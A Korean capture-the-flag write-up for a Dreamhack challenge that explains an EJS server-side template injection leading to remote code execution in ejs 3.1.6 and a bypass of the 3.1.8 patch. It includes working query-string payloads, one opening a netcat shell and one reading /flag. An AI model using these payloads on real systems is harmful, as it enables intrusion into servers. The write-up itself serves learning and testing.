본 문제는 dreamhack.io를 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제 풀이

Welcome ! <%= locals?.name %>
  • index.ejs : name 파라미터를 이용한 Templete Page

const express = require('express');
var path = require('path');
const app = express();
const port = 3000;
 
app.set('views', path.join(__dirname, '/templates'));
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));

app.get('/', (req, res) => {
   res.render('index', req.query )
})
 
app.listen(port, () => {})
  • app.js : app.get()을 통해 Request에 대한 내용을 Rendering 즉, Templete에 대한 값을 반환

  • res.render('index', req.query) 함수는 ejs.js 파일에서 441번째인 renderFile를 통해서 Rendering이 진행된다.

ejs 3.1.6 PoC

기존 3.1.6 버전에서는 아래의 코드에서 SSTI 취약점이 발견되어 RCE가 가능하였다.

if (args.length) { // 정해진 parameter 아닌 경우
   // Should always have data obj
   data = args.shift();    // input text
   // Normal passed opts (data obj + opts obj)
   if (args.length) {
   // Use shallowCopy so we don't pollute passed in opts obj with new vals
   utils.shallowCopy(opts, args.pop());
   }
   // Special casing for Express (settings + opts-in-data)
   else {
      viewOpts = data.settings['view options'];
      if (viewOpts) {
         utils.shallowCopy(opts, viewOpts);
      }
   }
}

...

prepended +=
    '  var __output = "";\n' +
    '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

첫 if문에서 정해진 parameter가 아닌 경우 viewOpts이라는 Object를 이용하여 해당 Object의 view options이라는 settings 값을 이용하여 shallowCopy를 하게 된다.

shallowCopy된 변수는 opts.outputFunctionName의 setting 값을 통해서 입력한 데이터를 Copy하게 되어 RCE를 진행할 수 있다.

shallowCopy는 입력 데이터를 통해 template options을 변경할 수 있기에 이를 Overwrite하여 아래와 같이 ejs 3.1.6 Exploit을 작성 할 수 있다.

?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

3.1.6에서의 최종 Exploit은 이렇게 진행하였지만 3.1.8에서 패치된 것을 확인하면 아래와 같다.

//ejs 3.1.8
var _JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;

...

prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
          throw new Error('outputFunctionName is not a valid JS identifier.');
        }
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

3.1.6에서 사용한 Options 중 outputFunctionName_JS__JS_IDENTIFIER 정규 표현식에 의해 필터링되고 있기에 사용이 불가하다.

기존에 Exploit할 때 사용된 opts.outputFunctionName와 같이 shallowCopy하면서 필터링 규칙이 적용되지 않는 세팅 값을 확인해보면 ejs 636 line과 같다.

var escapeFn = opts.escapeFunction;

// 3.1.8 ejs.js 636 line
if (opts.client) {
   src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}

opts.client setting 값이 True인 경우 escapeFn String을 이용하게 되는데 해당 변수는 opts.escapeFunction setting 값을 이용하기에 clientescapeFunction 두 개를 모두 이용하여 Payload를 작성하면 RCE가 가능하게 된다.

?settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');